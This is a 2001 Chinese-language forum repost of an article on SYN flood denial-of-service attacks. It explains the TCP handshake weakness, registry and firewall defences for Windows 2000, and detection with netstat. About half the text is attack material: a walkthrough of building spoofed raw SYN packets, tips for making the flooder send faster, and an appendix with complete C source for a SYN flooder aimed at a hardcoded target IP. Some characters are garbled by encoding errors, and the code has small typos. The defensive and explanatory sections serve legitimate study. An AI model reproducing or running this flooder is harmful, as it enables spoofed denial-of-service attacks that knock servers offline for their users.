作者 主題: SYN Flood攻擊的基本原理及防禦  (閱讀 4229 次)

0 會員 與 2 訪客 正在閱讀本文。

Anonymous

  • 訪客
SYN Flood攻擊的基本原理及防禦
« 於: 2001-10-22 11:16 »


原始作者: shotgun

第一部分 SYN Flood的基本原理

SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分散式拒絕服務攻擊)的方式之
一,這是一種利用TCP協議缺陷,發送大量偽造的TCP連接請求,從而使得被攻擊方資源耗
盡(CPU滿負荷或記憶體不足)的攻擊方式。

要明白這種攻擊的基本原理,還是要從TCP連接建立的過程開始說起:

大家都知道,TCP與UDP不同,它是基於連接的,也就是說:為了在服務端和用戶端之間傳
送TCP資料,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標準過程是這樣的


首先,請求端(用戶端)發送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize),
同步報文會指明用戶端使用的埠以及TCP連接的初始序號;

第二步,伺服器在收到用戶端的SYN報文後,將返回一個SYN+ACK的報文,表示用戶端的請
求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。

第三步,用戶端也返回一個確認報文ACK給伺服器端,同樣TCP序列號被加一,到此一個TCP
連接完成。

以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)。

問題就出在TCP連接的三次握手中,假設一個用戶向伺服器發送了SYN報文後突然死機或掉
線,那麼伺服器在發出SYN+ACK應答報文後是無法收到用戶端的ACK報文的(第三次握手無
法完成),這種情況下伺服器端一般會重試(再次發送SYN+ACK給用戶端)並等待一段時
間後丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間
是分鐘的數量級(大約為30秒-2分鐘);一個用戶出現異常導致伺服器的一個線程等待1
分鐘並不是什麼很大的問題,但如果有一個惡意的攻擊者大量類比這種情況,伺服器端將
為了維護一個非常大的半連接列表而消耗非常多的資源----
數以萬計的半連接,即使是簡單的保存並遍曆也會消耗非常多的CPU時間和記憶體
,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果伺服器的TCP/IP棧不
夠強大,最後的結果往往是堆疊溢位崩潰---即使伺服器端的系統足夠強大,伺服器端也
將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求(畢竟用戶端的正常請
求比率非常之小),此時從正常客戶的角度看來,伺服器失去響應,這種情況我們稱作:
伺服器端受到了SYN Flood攻擊(SYN洪水攻擊)。

從防禦角度來說,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,由於SYN
Flood攻擊的效果取決於伺服器上保持的SYN半連接數,這個值=SYN攻擊的頻度 x SYN
Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連接的時間,例如
設置為20秒以下(過低的SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降
低伺服器的負荷。

第二種方法是設置SYN Cookie,就是給每一個請求連接的IP位址分配一個Cookie,如果短
時間內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,以後從這個IP地址來的包
會被一概丟棄。

可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方
攻擊頻度不高的情況下生效,SYN Cookie更依賴于對方使用真實的IP位址,如果攻擊者以
數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源位址,以上的方法
將毫無用武之地。


第二部份 SYN Flooder源碼解讀

下面我們來分析SYN Flooder的程式實現。

首先,我們來看一下TCP報文的格式:

0 1 2 3 4 5 6
0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| IP首部 | TCP首部 | TCP資料段   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖一 TCP報文結構

如上圖所示,一個TCP報文由三個部分構成:20位元組的IP首部、20位元組的TCP首部與不
定長的資料段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向後順延)由
於我們只是發送一個SYN信號,並不傳遞任何資料,所以TCP資料段為空。TCP首部的資料
結構為:


0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 十六位源埠號 | 十六位元目標埠號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 三十二位序列號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 三十二位確認號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 四位 | |U|A|P|R|S|F| |

| 首部 |六位保留位元 |R|C|S|S|Y|I| 十六位元窗口大小 |

| 長度 | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 十六位校驗和 | 十六位緊急指針 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 選項(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 數據(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

圖二 TCP首部結構


根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部:

typedef struct _tcphdr

{

USHORT th_sport; //16位源埠

USHORT th_dport; //16位元目的埠

unsigned int th_seq; //32位序列號

unsigned int th_ack; //32位確認號

unsigned char th_lenres; //4位首部長度+6位保留字中的4位

unsigned char th_flag; //2位元保留字+6位元標誌位元

USHORT th_win; //16位元窗口大小

USHORT th_sum; //16位校驗和

USHORT th_urp; //16位元緊急資料偏移量

}TCP_HEADER;

通過以正確的資料填充這個結構並將TCP_HEADER.th_flag賦值為2(二進位的00000010)
我們能製造一個SYN的TCP報文,通過大量發送這個報文可以實現SYN Flood的效果。但是
為了進行IP欺騙從而隱藏自己,也為了躲避伺服器的SYN Cookie檢查,還需要直接對IP首
部進行操作:

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 版本 | 長度 | 八位服務類型| 十六位總長度 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 十六位元標識 | 標誌| 十三位元片偏移   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 八位元生存時間 | 八位元協議 | 十六位元首部校驗和|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位源IP地址 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位元目的IP位址 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 選項(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|   數據   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖三 IP首部結構

同樣定義一個IP_HEADER來存放IP首部

typedef struct _iphdr

{

unsigned char h_verlen; //4位首部長度+4位IP版本號

unsigned char tos; //8位服務類型TOS

unsigned short total_len; //16位元總長度(位元組)

unsigned short ident; //16位元標識

unsigned short frag_and_flags; //3位元標誌位元

unsigned char ttl; //8位生存時間 TTL

unsigned char proto; //8位元協議號(TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校驗和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位元目的IP位址

}IP_HEADER;

然後通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_
OVERLAPPED));

建立一個原始套介面,由於我們的IP源位址是偽造的,所以不能指望系統幫我們計算IP校
驗和,我們得在在setsockopt中設置IP_HDRINCL告訴系統自己填充IP首部並自己計算校驗和


flag=TRUE;

setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

IP校驗和的計算方法是:首先將IP首部的校驗和欄位設為0(IP_HEADER.checksum=0),然
後計算整個IP首部(包括選項)的二進位反碼的和,一個標準的校驗和函數如下所示:

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

這個函數並沒有經過任何的優化,由於校驗和函數是TCP/IP協定中被調用最多函數之一,
所以一般說來,在實現TCP/IP棧時,會根據作業系統對校驗和函數進行優化。

TCP首部核對總和與IP首部校驗和的計算方法相同,在程式中使用同一個函數來計算。

需要注意的是,由於TCP首部中不包含源位址與目標位址等資訊,為了保證TCP校驗的有效
性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下:

struct

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz; //置空

char ptcl; //協議類型

unsigned short tcpl; //TCP長度

}psd_header;

然後我們將這兩個欄位複製到同一個緩衝區SendBuf中並計算TCP校驗和:

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_
header));

計算IP校驗和的時候不需要包括TCP偽首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_
header));

再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就可以直接發送了:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)
&DestAddr,sizeof(DestAddr));

因為整個TCP報文中的所有部分都是我們自己寫入的(作業系統不會做任何干涉),所以
我們可以在IP首部中放置隨機的源IP地址,如果偽造的源IP位址確實有人使用,他在接收
到伺服器的SYN+ACK報文後會發送一個RST報文(標誌位元為00000100),通知伺服器端不
需要等待一個無效的連接,可是如果這個偽造IP並沒有綁定在任何的主機上,不會有任何
設備去通知主機該連接是無效的(這正是TCP協定的缺陷),主機將不斷重試直到SYN
Timeout時間後才能丟棄這個無效的半連接。所以當攻擊者使用主機分佈很稀疏的IP位址
段進行偽裝IP的SYN Flood攻擊時,伺服器主機承受的負荷會相當的高,
根據測試,一台PIII 550MHz+128MB+100Mbps的機器使用經過初步優化的 SYN Flooder程式
可以以16,000包/秒的速度發送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB伺服器
了。

稍微動動腦筋我們就會發現,想對SYN Flooder程式進行優化是很簡單的,從程式構架來
看,攻擊時迴圈內的代碼主要是進行校驗和計算與緩衝區的填充,一般的思路是提高校驗
和計算的速度,我甚至見過用彙編代碼編寫的校驗和函數,實際上,有另外一個變通的方
法可以輕鬆實現優化而又不需要高深的編程技巧和數學知識,(老實說吧,我數學比較差
:P),我們仔細研究了兩個不同源地址的TCP SYN報文後發現,兩個報文的大部分欄位相
同(比如目的地址、協議等等),只有源位址和校驗和不同(如果為了隱蔽,源埠也可以
有變化,但是並不影響我們演算法優化的思路),如果我們事先計算好大量的源位址與校驗
和的對應關係表(如果其他的欄位有變化也可以加入這個表),等計算完畢了攻擊程式就
只需要單純的組合緩衝區並發送(用指針來直接操作緩衝區的特定位置,從事先計算好的對

關係表中讀出資料,替換緩衝區相應欄位),這種簡單的工作完全取決於系統發送IP包的速
度,
與程式的效率沒有任何關係,這樣,即使是CPU主頻較低的主機也能快速的發送大量TCP SYN
攻擊包。
如果考慮到緩衝區拼接的時間,甚至可以定義一個很大的緩衝區陣列,填充完畢後再發送

(雛鷹給這種方法想了一個很貼切的比喻:
火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以後就可以連續猛烈地發射了:)。

第三部分 SYN Flood攻擊的監測與防禦初探

對於SYN Flood攻擊,目前尚沒有很好的監測和防禦方法,不過如果系統管理員熟悉攻擊
方法和系統架構,通過一系列的設定,也能從一定程度上降低被攻擊系統的負荷,減輕負
面的影響。(這正是我撰寫本文的主要目的)

一般來說,如果一個系統(或主機)負荷突然升高甚至失去回應,使用Netstat 命令能看
到大量SYN_RCVD的半連接(數量>500或占總連接數的10%以上),可以認定,這個系統(
或主機)遭到了SYN Flood攻擊。

遭到SYN Flood攻擊後,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記
錄目前所有TCP連接狀態是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP
SYN報文的所有細節也有助於以後追查和防禦,需要記錄的欄位有:源位址、IP首部中的
標識、TCP首部中的序列號、TTL值等,這些資訊雖然很可能是攻擊者偽造的,但是用來分
析攻擊者的心理狀態和攻擊程式也不無幫助。特別是TTL值,如果大量的攻擊包似乎來自
不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也
可以通過過濾特定TTL值的報文降低被攻擊系統的負荷
(在這種情況下TTL值與攻擊報文不同的用戶就可以恢復正常訪問)

前面曾經提到可以通過縮短SYN Timeout時間和設置SYN Cookie來進行SYN攻擊保護,對於
Win2000系統,還可以通過修改註冊表降低SYN Flood的危害,在註冊表中作如下改動:

首先,打開regedit,找到HKEY_LOCAL_
MACHINESystemCurrentControlSetServicesTcpipParameters

增加一個SynAttackProtect的鍵值,類型為REG_DWORD,取值範圍是0-2,這個值決定了系
統受到SYN攻擊時採取的保護措施,包括減少系統SYN+ACK的重試的次數等,預設值是0(
沒有任何保護措施),推薦設置是增加一個TcpMaxHalfOpen的鍵值,類型為REG_DWORD,
取值範圍是100-0xFFFF,這個值是系統允釵P時打開的半連接,默認情況下WIN2K PRO和
SERVER是100,
ADVANCED SERVER是 500,這個值很難確定,取決於伺服器TCP負荷的狀況和可能受到的攻擊
強度,
具體的值需要經過試驗才能決定。

增加一個TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值範圍是80-0xFFFF,默
認情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什麼情況下
系統會打開SYN攻擊保護。

我們來分析一下Win2000的SYN攻擊保護機制:正常情況下,Win2K對TCP連接的三次握手有
一個常規的設置,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統
再到Winsock的延時等,這個常規設置是針對系統性能進行優化的(安全和性能往往相互
矛盾)所以可以給用戶提供方便快捷的服務;一旦伺服器受到攻擊,SYN半連接的數量超
過TcpMaxHalfOpenRetried的設置,系統會認為自己受到了SYN Flood攻擊,此時設置在
SynAttackProtect鍵值中的選項開始作用,SYN Timeout時間被減短,SYN-ACK的重試次數
減少,系統也會自動對緩衝區中的報文進行延時,避免對TCP/IP堆疊造成過大的衝擊,
力圖將攻擊危害減到最低;如果攻擊強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已
經不能提供正常的服務了,
更重要的是保證系統不會崩潰,所以系統將會丟棄任何超出TcpMaxHalfOpen值範圍的SYN報

(應該是使用隨機丟包策略),保證系統的穩定性。

所以,對於需要進行SYN攻擊保護的系統,我們可以測試/預測一下訪問峰值時期的半連接
打開量,以其作為參考設定TcpMaxHalfOpenRetried的值(保留一定的餘量),然後再以
cpMaxHalfOpenRetried的1.25倍作為TcpMaxHalfOpen值,這樣可以最大限度地發揮WIN2K
自身的SYN攻擊保護機制。

通過設置註冊表防禦SYN Flood攻擊,採用的是“挨打”的策略,無論系統如何強大,始
終不能光靠挨打支撐下去,除了挨打之外,“退讓”也是一種比較有效的方法。

退讓策略是基於SYN Flood攻擊代碼的一個缺陷,我們重新來分析一下SYN Flood攻擊者的
流程:SYN Flood程式有兩種攻擊方式,基於IP的和基於弁鉣僂W稱的,前者是攻擊者
自己進行弁鉣僂W稱解析並將IP位址傳遞給攻擊程式,後者是攻擊程式自動進行弁鉣
數名稱解析,但是它們有一點是相同的,就是一旦攻擊開始,將不會再進行弁鉣僂W稱
解析,我們的切入點正是這裏:假設一台伺服器在受到SYN Flood攻擊後迅速更換自己的
IP位址,那麼攻擊者仍在不斷攻擊的只是一個空的IP位址,並沒有任何主機,而防禦方只
要將DNS解析更改到新的IP位址就能在很短的時間內(取決於DNS的刷新時間)恢復用戶通過
弁鉣僂W稱進行的正常訪問。
為了迷惑攻擊者,我們甚至可以放置一台“犧牲”伺服器讓攻擊者滿足於攻擊的“效果”
(由於DNS緩衝的原因,只要攻擊者的流覽器不重起,他訪問的仍然是原先的IP位址)。

同樣的原因,在眾多的負載均衡架構中,基於DNS解析的負載均衡本身就擁有對SYN
Flood的免疫力,基於DNS解析的負載均衡能將用戶的請求分配到不同IP的伺服器主機上,
攻擊者攻擊的永遠只是其中一台伺服器,雖然說攻擊者也能不斷去進行DNS請求從而打破
這種“退讓”策略,但是一來這樣增加了攻擊者的成本,二來過多的DNS請求可以幫助我
們追查攻擊者的真正蹤跡(DNS請求不同於SYN攻擊,是需要返回資料的,所以很難進行 IP
偽裝)。

對於防火牆來說,防禦SYN Flood攻擊的方法取決於防火牆工作的基本原理,一般說來,
防火牆可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火牆稱為閘道型防火牆,
閘道型防火牆與伺服器、客戶機之間的關係如下圖所示:

外部TCP連接 內部TCP連接

[客戶機] =================>[防火牆] =================>[伺服器]

如上圖所示,客戶機與伺服器之間並沒有真正的TCP連接,客戶機與伺服器之間的所有資
料交換都是通過防火牆代理的,外部的DNS解析也同樣指向防火牆,所以如果網站被攻擊
,真正受到攻擊的是防火牆,這種防火牆的優點是穩定性好,抗打擊能力強,但是因為所
有的TCP報文都需要經過防火牆轉發,所以效率比較低由於客戶機並不直接與伺服器建立
連接,在TCP連接沒有完成時防火牆不會去向後臺的伺服器建立新的TCP連接,所以攻擊者
無法越過防火牆直接攻擊後臺伺服器,只要防火牆本身做的足夠強壯,這種架構可以抵抗
相當強度的SYN Flood攻擊。但是由於防火牆實際建立 TCP連接數為用戶連接數的兩倍(防
火牆兩端都需要建立TCP連接),
同時又代理了所有的來自用戶端的TCP請求和資料傳送,在系統訪問量較大時,防火牆自身
的負荷會比較
高,所以這種架構並不能適用於大型網站。(我感覺,對於這樣的防火牆架構,使用TCP
STATE攻擊估計會相當有效:)

工作在IP層或IP層之下的防火牆(路由型防火牆)工作原理有所不同,它與伺服器、客戶機
的關係如下圖所示:

[防火牆] 資料包修改轉發

[客戶機]========|=======================>[伺服器]

TCP連接

客戶機直接與伺服器進行TCP連接,防火牆起的是路由器的作用,它截獲所有通過的包並
進行過濾,通過過濾的包被轉發給伺服器,外部的DNS解析也直接指向伺服器,這種防火
牆的優點是效率高,可以適應100Mbps-1Gbps的流量,但是這種防火牆如果配置不當,不
僅可以讓攻擊者越過防火牆直接攻擊內部伺服器,甚至有可能放大攻擊的強度,導致整個系
統崩潰。

在這兩種基本模型之外,有一種新的防火牆模型,我個人認為還是比較巧妙的,它集中了
兩種防火牆的優勢,這種防火牆的工作原理如下所示:

第一階段,客戶機請求與防火牆建立連接:

SYN SYN+ACK ACK

[客戶機]---- >[防火牆] => [防火牆]-------- >[客戶機] => [客戶機]--- >[防火牆]


第二階段,防火牆偽裝成客戶機與後臺的伺服器建立連接

[防火牆]< =========== >[伺服器]

TCP連接

第三階段,之後所有從客戶機來的TCP報文防火牆都直接轉發給後臺的伺服器

防火牆轉發

[客戶機]< ======|======= >[伺服器]

TCP連接

這種結構吸取了上兩種防火牆的優點,既能完全控制所有的SYN報文,又不需要對所有的
TCP資料報文進行代理,是一種兩全其美的方法。

近來,國外和國內的一些防火牆廠商開始研究帶寬控制技術,如果能真正做到嚴格控制、
分配帶寬,就能很大程度上防禦絕大多數的拒絕服務攻擊,我們還是拭目以待吧。


附錄:Win2000下的SYN Flood程式

改編自Linux下Zakath編寫的SYN Flooder

編譯環境:VC++6.0,編譯時需要包含ws2_32.lib

//////////////////////////////////////////////////////////////////////////

// //

// SYN Flooder For Win2K by Shotgun //

// //

// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //

// THANX Lion Hook FOR PROGRAM OPTIMIZATION //

// //

// Released: [2001.4] //

// Author: [Shotgun] //

// Homepage: //

// [http://IT.Xici.Net] //

// [http://WWW.Patching.Net] //

// //

//////////////////////////////////////////////////////////////////////////

#include

#include

#include

#include

#define SEQ 0x28376839

#define SYN_DEST_IP "192.168.15.250"//被攻擊的IP

#define FAKE_IP "10.168.150.1" //偽裝IP的起始值,本程式的偽裝IP覆誘@個B類網段

#define STATUS_FAILED 0xFFFF //錯誤返回值

typedef struct _iphdr //定義IP首部

{

unsigned char h_verlen; //4位首部長度,4位IP版本號

unsigned char tos; //8位服務類型TOS

unsigned short total_len; //16位元總長度(位元組)

unsigned short ident; //16位元標識

unsigned short frag_and_flags; //3位元標誌位元

unsigned char ttl; //8位生存時間 TTL

unsigned char proto; //8位元協議 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校驗和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位元目的IP位址

}IP_HEADER;

struct //定義TCP偽首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //協議類型

unsigned short tcpl; //TCP長度

}psd_header;

typedef struct _tcphdr //定義TCP首部

{

USHORT th_sport; //16位源埠

USHORT th_dport; //16位元目的埠

unsigned int th_seq; //32位序列號

unsigned int th_ack; //32位確認號

unsigned char th_lenres; //4位首部長度/6位保留字

unsigned char th_flag; //6位元標誌位元

USHORT th_win; //16位元窗口大小

USHORT th_sum; //16位校驗和

USHORT th_urp; //16位元緊急資料偏移量

}TCP_HEADER;

//CheckSum:計算校驗和的子函數

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

// SynFlood主函數

int main()

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,"WSAStartup failed: %dn",ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

if (SockRaw==INVALID_SOCKET){

fprintf(stderr,"WSASocket() failed: %dn",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//設置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int))
;

If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!n");
__try{

//設置發送超時

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(
TimeOut));

if(ErrorCode==SOCKET_ERROR){

fprintf(stderr,"Failed to set send TimeOut: %dn",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本號,低四位首部長度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位元總長度
(位元組)

ip_header.ident=1; //16位元標識

ip_header.frag_and_flags=0; //3位元標誌位元

ip_header.ttl=128; //8位生存時間TTL

ip_header.proto=IPPROTO_TCP; //8位元協議(TCP,UDP…)

ip_header.checksum=0; //16位IP首部校驗和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

ip_header.destIP=inet_addr(SYN_DEST_IP); //32位元目的IP位址

//填充TCP首部

tcp_header.th_sport=htons(7000); //源埠號

tcp_header.th_dport=htons(8080); //目的埠號

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號

tcp_header.th_ack=0; //ACK序列號置為0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位

tcp_header.th_flag=2; //SYN 標誌

tcp_header.th_win=htons(16384); //窗口大小

tcp_header.th_urp=0; //偏移

tcp_header.th_sum=0; //校驗和

//填充TCP偽首部(用於計算校驗和,並不真正發送)

psd_header.saddr=ip_header.sourceIP; //源地址

psd_header.daddr=ip_header.destIP; //目的地址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP; //協議類型

psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部長度

while(1) {

//每發送10,240個報文輸出一個標示符

printf(".");

for(counter=0;counter<10240;counter++){

if(SendSEQ++==65536) SendSEQ=1; //序列號迴圈

//更改IP首部

ip_header.checksum=0; //16位IP首部校驗和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號

tcp_header.th_sum=0; //校驗和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//計算TCP校驗和,計算校驗和時需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_
header));

//計算IP校驗和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充發送緩衝區

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//發送TCP報文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("nSend Error:%dn",GetLastError());

}//End of for

}//End of While

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}